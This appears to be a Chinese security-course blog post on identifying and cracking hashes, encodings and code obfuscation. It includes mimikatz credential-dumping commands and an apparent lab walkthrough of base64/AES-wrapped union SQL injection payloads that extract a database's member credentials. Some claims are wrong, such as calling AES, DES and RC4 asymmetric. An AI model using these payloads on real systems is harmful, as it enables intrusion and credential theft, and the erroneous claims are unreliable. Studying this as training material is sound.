第4天:基础入门-30余种加密编码进制&Web&数据库&系统&代码&参数值

第4天:基础入门-30余种加密编码进制&Web&数据库&系统&代码&参数值

1645073226591-c96d23fd-5379-422a-9c23-a541f398eada.png

一、知识点

1. 存储密码加密-Web&数据库&系统
 2. 传输数据编码-各类组合传输参数值
 3. 代码特性加密-JS&PHP&NET&JAVA
 4. 数据显示编码-字符串数据显示编码

二、本课意义:

1.了解加密编码进制在安全测试中的存在
2.掌握常见的加密解密编码解码进制互转的操作
3.了解常见的加密解密编码解密进制互转的影响

旨在解决类似疑问,提供思路:
你是否碰到不知道的加密方式?
你是否碰到无法找到的解密平台?
你是否碰到不知道如何解密的字符串?
你是否准备参加CTF比赛补充此类知识点?

三、详细点:

密码存储加密常见判断:

MD5 SHA1 NTLM AES DES RC4
MD5值是32位或者16位由数字"0-9"和字母"a-f"所组成的字符串

SHA1这种加密的密文特征跟MD5差不多,只不过位数是40

NTLM这种加密是Windows的哈希密码,标准通讯安全协议 系统层面

AES,DES,RC4这些都是非对称性加密算法,引入密钥,密文特征与Base64类似

应用场景:各类应用密文,自定义算法,代码分析,CTF安全比赛等
不可逆不代表是不能破解出来,可以进行爆破

例如:
加密:1*8
解密:密文/8  #这种就是可逆的

1.MD5加密:

md5不可逆

解密:枚举、碰撞
解密不直接通过算法解密,枚举,将每个加密后进行碰撞测试出每个位数对应的加密字数。
例如 :

1123的密文:539f887a5e420412
尝试生成很多的加密或对应明文的字符枚举
对1123进行加密,生成的密文进行比对,这样来进行解密的

2.传输数据编码:

BASE64 URL HEX ASCII
BASE64值是由数字"0-9"和字母"a-f"所组成的字符串,大小写敏感,结尾通常有符号=

URL编码是由数字"0-9"和字母"a-f"所组成的字符串,大小写敏感,通常以%数字字母间隔

HEX编码是计算机中数据的一种表示方法,将数据进行十六进制转换,它由0-9,A-F,组成

ASCII编码是将128个字符进行进制数来表示,常见ASCII码表大小规则:0~9<A~Z<a~z

举例:
个人博客-URL解码 http://www.xiaodi8.com/search.php?q=%E5%9F%B9%E8%AE%AD //培训编码
国外WEB-BASE64解码 www.comresearch.org/researchDetails.php?id=MD==
搜狐视频-BASE64解码https://tv.sohu.com/v/MjAyMTEyMzAvbjYwMTE0NTUxMC5zaHRtbA==.html
20211230/n601145510.shtml的base64就是MjAyMTEyMzAvbjYwMTE0NTUxMC5zaHRtbA==
应用场景:参数传递(如注入影响),后期WAF绕过干扰写法应用,视频地址还原等

3.代码加密

JS前端代码加密:防止代码进行二次开发,保证版权。
JS颜文字 jother JSFUCK
颜文字特征:一堆颜文字构成的js代码,在F12中可直接解密执行
jother特征:只用! + ( ) [ ] { }这八个字符就能完成对任意字符串的编码。也可在F12中解密执行
JSFUCK特征:与jother很像,只是少了{ }

后端代码加密:
PHP .NET JAVA
PHP:乱码,头部有信息 Zend 字段
.NET:DLL封装代码文件
JAVA:JAR&CLASS文件
举例:Zend ILSpy IDEA
应用场景:版权代码加密,开发特性,CTF比赛等

4.数据加密

数据库密文加密:
MYSQL MSSQL等

数据显示编码:
UTF-8 GBK2312等

识别算法编码类型:
1、看密文位数
2、看密文的特征(数字,字幕,大小写,符号等)
3、看当前密文存在的地方(Web,数据库,操作系统等应用)

  • Web-ZZCMS-密文-MD5
自己搭建zzcms,放在phpstudy目录下,选择相对应端口就可以进行安装。
本地安装:127.0.0.1:8083
打开数据库连接工具:

1645073370424-f13466d4-d85d-4bfe-8698-73a87ff38473.png

pass字段下的密文:21232f297a57a5a743894a0e4a801fc3
放在cmd5.com平台解密:

1645073395928-85462915-e66a-44f2-8c23-773e7e72d8ff.png

为什么要用密文存储,为什么能解密还用密文储存
因为有一些密文是不能解密的,不是所有的密文都是能够解密的。
  • Web-Discuz-密文-MD5&Salt
搭建:下载源码,放在指定目录,修改upload文件夹名字为bbs,访问bbs,完成搭建。
找到数据库表pre_ucenter_members

1645073497332-30823c03-0ce3-4611-89ff-67196295c95d.png

有一个字段password和salt这就是MD5和salt
username:admin password:5e96d47b047e7f397db9c6088371b090 salt:bb9486。拿去cmd5.com 解密。

1645073689154-68f4ebda-3121-4fe2-b028-b38eb72669ca.png

Md5跟salt加密算法:
echo md5(md5('密文').'salt');

如果拿到密码解密不出来,有两种情况:
1.密码过于复制,确实解密不出来
2.还有其他东西,没有获取,比如salt

5.系统-Windows-密文-NTLM&HASH

• 把mimikaz放在虚拟机上,用管理员运行,执行privilege::debug和sekurlsa::logonpasswords。

1645073738188-6fee4224-71e7-498a-8a63-7fe4a4aaab21.png

得到相对应的密文:

1645073758810-7feb2380-9fa3-4eb8-b2b7-10b9e5c5f7a1.png

NTLM:3575a0334f6346511a5c6766bec85d88
在cmd5.com中,能解密出来:

1645073794858-475aa0c4-5665-4220-84e0-6ee5ab9aa533.png

6.综合-参数-密文传输-AES&BASE64

解密网站:http://tool.chacuo.net/cryptaes
AES密文会受到很多方面的干扰:

1645073832436-3686036e-6821-46ac-b9a7-50e78b8b3316.png

密码和偏移量是没办法确定的,如果不知道是不可能解密出来的。密文与base64字符集差不多。
演示mozhe:https://www.mozhe.cn/bug/detail/110
访问地址的时候:http://219.153.49.228:46908/news/list.php?id=ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09
参数ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09就是一个密文
拿去base64解密不出,扫描得到:

1645073888749-459d6cc0-40be-4101-9d4b-31c600fbf277.png

访问:

1645073909509-d1768067-9233-4935-a8fb-e2591bdf45c9.png

下载后发现源代码:
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
	mcrypt_generic_deinit($td);
	mcrypt_module_close($td);
	if(substr(trim($data),-6)!=='_mozhe'){
		echo '<script>window.location.href="/index.php";</script>';
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);
	}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>

1645073944052-c7afbb14-74fb-4f0b-b284-379d62c25615.png

发现两次base64解码,而解密平台只有一次解密,所以需要用工具进行一次解码后,在进行平台解密。经过解码,发现明文:

1645073972425-467ced6b-87cd-434b-b84a-cece8b924120.png

Wp:https://blog.csdn.net/qq_38963246/article/details/99065936
构造查询数据库语句: -1 union select 1,database(),3,4_mozhe,经过编码转化得到:MXVsZkNDTGNMTE9yMTJiVHFyNytGVm0rZ2R4ZHllMHRTbTZBNW4rQ2cwZ3ZMK1NFWFoyMkZ3ZVNUTmF5czgxQw==

1645074001139-553a09c9-bdc3-47c5-a227-c7a3449530a3.png

得到数据库后,查询数据库的表:
1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1_mozhe
经过加密,注入得到:

1645074029481-b8aa1c05-b731-4e6b-971d-b3d13cf29dd1.png

获取字段:
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1_mozhe
获取数值:
1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe

1645074055993-adeeab5e-e31e-42e2-a26e-0be8d5b22443.png

四、代码-解密-解密反编译-Zend&Dll&Jar

Zend:通达OA的index.php是加密的代码,以Zend为开头的代码。解密平台:http://dezend.qiling.org/free.html,将代码上传至平台。这样就可以进行解密,解密要看是否复杂,能不能解密。

Dll:.net是基于Windows开发的一款脚本语言,那么后缀封装成为dll程序,利用到ILSpy工具进行解密,类似于反编译。
  • CTF赛题-buuoj-single dog-JS颜文字
Wp:https://blog.csdn.net/qq_53030229/article/details/121254834
kali安装下foremost命令:sudo apt-get update   sudo apt-get install foremost  下载完成后,执行foremost命令:

1645074131152-63cb913b-a45f-461e-82c3-1e606e1867a9.png

解压发现两个文件:

1645074151746-0d65908b-8894-4981-8376-f2ef192d7148.png

发现1.txt内容:

1645074171258-96515e76-0982-406e-a50f-7b17cd9101d5.png

复制内容,到http://www.hiencode.com/aaencode.html
解密结果:

1645074194940-90241a37-9792-43b8-90b6-2011773dfeb0.png

  • CTF赛题-xuenixiang-Jsfuck-JSFUCK
下载附件,打开查看源代码:

1645074222129-3c50672e-c258-4e76-94e5-1650abc400c5.png

复制到解密平台

1645074247259-dfde4723-90ef-424f-9bc5-dcfae711cfca.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿凯6666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值